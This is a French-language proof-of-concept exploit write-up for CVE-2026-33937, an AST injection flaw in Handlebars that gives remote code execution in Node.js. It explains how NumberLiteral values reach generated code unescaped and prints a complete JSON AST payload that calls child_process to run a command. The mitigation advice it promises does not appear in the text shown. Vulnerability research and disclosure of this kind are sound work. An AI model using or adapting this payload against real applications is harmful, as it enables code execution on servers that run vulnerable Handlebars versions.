
Preuve de concept d'exploitation pour CVE-2026-33937, une vulnérabilité d'injection AST dans Handlebars conduisant à une exécution de code à distance dans Node.js. Démontre des charges utiles AST conçues et fournit des recommandations d'atténuation.
CVE-2026-33937 est une vulnérabilité critique d'exécution de code à distance (RCE) dans Handlebars, causée par une gestion non sécurisée des entrées d'arbre de syntaxe abstraite (AST).
La vulnérabilité permet aux attaquants d'injecter du code JavaScript arbitraire en fournissant un objet AST spécialement conçu à Handlebars.compile().
Handlebars.compile() accepte à la fois :
Lorsqu'un objet AST est fourni, la phase d'analyse est ignorée.
À l'intérieur :
lib/handlebars/compiler/javascript-compiler.js
La fonction :
NumberLiteral(number) {
this.pushStackLiteral(number.value);
}
insère directement number.value dans le code JavaScript généré , ce qui entraîne une injection de code.
Attaquant → AST spécialement conçu (JSON)
│
▼
Handlebars.compile()
│
▼
Compiler.compile()
│
▼
JavaScriptCompiler (injection NumberLiteral)
│
▼
Génération de code
│
▼
new Function(...) / eval()
│
▼
RCE
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
],
"strip": {},
"loc": null
}